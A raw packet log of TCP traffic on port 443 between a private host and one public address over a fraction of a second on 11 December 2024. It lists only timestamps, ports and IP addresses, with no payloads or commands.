Dec 11, 2024 12:59:55.607763052 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.607887030 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.607887983 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.608067036 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.608067036 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.608067036 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.608079910 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.608237028 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.608841896 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.608876944 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.608990908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.609038115 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.609038115 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.609050989 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.609088898 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.609134912 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.609232903 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.609874010 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.609908104 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.610018969 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.610018969 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.610068083 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.610078096 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.610112906 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.610219002 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.610219002 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.611603022 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.611638069 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.611718893 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.611758947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.611758947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.611805916 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.611818075 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.611907959 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.611907959 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.611958027 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.765742064 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.765777111 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.765906096 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.765940905 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.765940905 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.765963078 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.765989065 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.765989065 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.766100883 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.766869068 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.766905069 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.767038107 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.767038107 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.767081976 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.767102003 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.767116070 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.767206907 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.767241955 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.767266035 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.767266035 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.767347097 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.767380953 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.767553091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.768515110 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.768552065 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.768683910 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.768774033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.768774033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.768796921 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.768994093 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.769448042 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.769479990 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.769601107 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.769601107 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.769726038 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.769752026 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.769898891 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.770488024 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.770514011 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.770669937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.770690918 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.770714998 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.770826101 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.770826101 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.771538019 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.771574974 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.771711111 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.771711111 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.771744013 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.771744967 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.771764994 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.771792889 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.771930933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.772464991 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.772494078 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.772609949 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.772609949 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.772660971 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.772671938 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.772706985 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.772757053 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.772855997 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.774182081 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.774224997 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.774324894 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.774374008 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.774374008 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.774388075 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.774425030 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.774471045 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.774569035 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.774838924 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.774867058 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.774986029 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775034904 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775084972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775084972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775084972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775095940 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.775237083 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775734901 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.775760889 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.775885105 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775933981 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775933981 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.775948048 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.775985956 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.776031017 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.776082039 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.776803017 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.776830912 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.776953936 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.776953936 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.777050972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.777050972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.777060032 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.777100086 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.777209997 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.778173923 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.778213024 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.778383970 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.778383970 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.778398991 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.778431892 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.778537035 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.779189110 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.779216051 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.779347897 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.779397011 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.779397011 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.779407024 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.779490948 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.779592037 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.780349016 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.780376911 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.780489922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.780535936 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.780535936 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.780550003 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.780682087 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.781140089 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.781167984 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.781382084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.781382084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.781382084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.781403065 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.781424046 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.781538963 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.782545090 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.782572985 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.782700062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.782700062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.782744884 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.782744884 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.782756090 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.782843113 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.782972097 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.783509970 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.783545017 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.783658981 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.783658981 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.783710003 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.783718109 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.783756018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.783809900 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.783854008 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.784490108 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.784526110 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.784640074 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.784640074 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.784687996 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.784707069 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.784737110 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.784737110 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.784833908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.785321951 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.785351992 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.785470963 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.785547018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.785547018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.785559893 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.785701990 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.786936045 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.786963940 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.787177086 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.787177086 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.787190914 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.787277937 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.787338018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.787866116 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.787893057 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.788013935 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.788014889 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.788144112 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.788153887 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.788302898 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.788800955 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.788827896 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.788950920 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.788950920 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.789000034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.789010048 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.789108038 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.789154053 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.789777040 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.789803982 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.789900064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.789953947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.789953947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.789966106 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.790067911 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.790067911 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.791328907 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.791357040 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.791475058 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.791475058 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.791568995 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.791568995 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.791580915 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.791666985 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.791748047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.792249918 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.792279005 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.792395115 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.792395115 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.792443037 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.792452097 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.792495012 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.792541027 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.792642117 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.793139935 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.793167114 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.793278933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.793278933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.793329954 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.793338060 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.793376923 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.793376923 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.793476105 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.794039011 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.794065952 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.794197083 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.794197083 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.794218063 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.794245005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.794322014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.794322968 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.795059919 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.795085907 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.795206070 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.795255899 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.795255899 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.795269966 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.795305014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.795305014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.795417070 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.795979977 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.796006918 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.796154976 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.796154976 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.796202898 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.796210051 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.796252966 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.796302080 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.796350002 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.797487020 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.797514915 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.797635078 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.797635078 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.797734976 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.797743082 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.797780991 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.797883034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.798456907 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.798485041 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.798597097 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.798649073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.798649073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.798669100 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.798743010 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.798841953 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.799374104 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.799401045 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.799519062 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.799520016 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.799621105 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.799621105 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.799629927 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.799716949 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.799763918 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.800831079 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.800860882 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.800977945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.800977945 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.801026106 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.801043034 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.801125050 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.801184893 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.801784992 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.801811934 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.801938057 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.801938057 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.801985979 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.801985979 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.801997900 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.802038908 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.802134037 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.802686930 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.802715063 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.802901983 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.802901983 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.802923918 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.802947044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.803047895 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.803093910 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.803586960 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.803613901 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.803776026 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.803776026 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.803828955 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.803836107 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:55.803877115 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.803921938 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:55.804019928 CET	49763	443	192.168.11.20	104.21.1.51
